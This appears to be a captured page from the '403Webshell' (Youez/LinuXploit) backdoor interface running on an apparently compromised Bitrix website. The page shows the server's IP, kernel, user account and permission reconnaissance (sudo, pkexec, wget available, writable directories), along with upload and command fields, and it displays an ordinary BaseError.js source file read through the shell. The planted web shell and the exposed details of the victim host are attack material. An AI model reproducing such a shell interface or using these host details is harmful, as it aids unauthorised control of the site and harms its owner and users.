403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/main/core/src/lib/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/main/core/src/lib/base-error.js
import Type from './type';

const isError = Symbol.for('BX.BaseError.isError');

/**
 * @memberOf BX
 */
export default class BaseError
{
	constructor(message?: string, code?: string, customData?: any)
	{
		this[isError] = true;
		this.message = '';
		this.code = null;
		this.customData = null;

		this.setMessage(message);
		this.setCode(code);
		this.setCustomData(customData);
	}

	/**
	 * Returns a brief description of the error
	 * @returns {string}
	 */
	getMessage(): string
	{
		return this.message;
	}

	/**
	 * Sets a message of the error
	 * @param {string} message
	 * @returns {this}
	 */
	setMessage(message: string): this
	{
		if (Type.isString(message))
		{
			this.message = message;
		}

		return this;
	}

	/**
	 * Returns a code of the error
	 * @returns {?string}
	 */
	getCode(): string
	{
		return this.code;
	}

	/**
	 * Sets a code of the error
	 * @param {string} code
	 * @returns {this}
	 */
	setCode(code: string): this
	{
		if (Type.isStringFilled(code) || code === null)
		{
			this.code = code;
		}

		return this;
	}


	/**
	 * Returns custom data of the error
	 * @returns {null|*}
	 */
	getCustomData(): any
	{
		return this.customData;
	}

	/**
	 * Sets custom data of the error
	 * @returns {this}
	 */
	setCustomData(customData: any): this
	{
		if (!Type.isUndefined(customData))
		{
			this.customData = customData;
		}

		return this;
	}

	toString()
	{
		const code = this.getCode();
		const message = this.getMessage();

		if (!Type.isStringFilled(code) && !Type.isStringFilled(message))
		{
			return '';
		}
		else if (!Type.isStringFilled(code))
		{
			return `Error: ${message}`;
		}
		else if (!Type.isStringFilled(message))
		{
			return code;
		}
		else
		{
			return `${code}: ${message}`;
		}
	}

	/**
	 * Returns true if the object is an instance of BaseError
	 * @param error
	 * @returns {boolean}
	 */
	static isError(error: BaseError)
	{
		return Type.isObject(error) && error[isError] === true;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit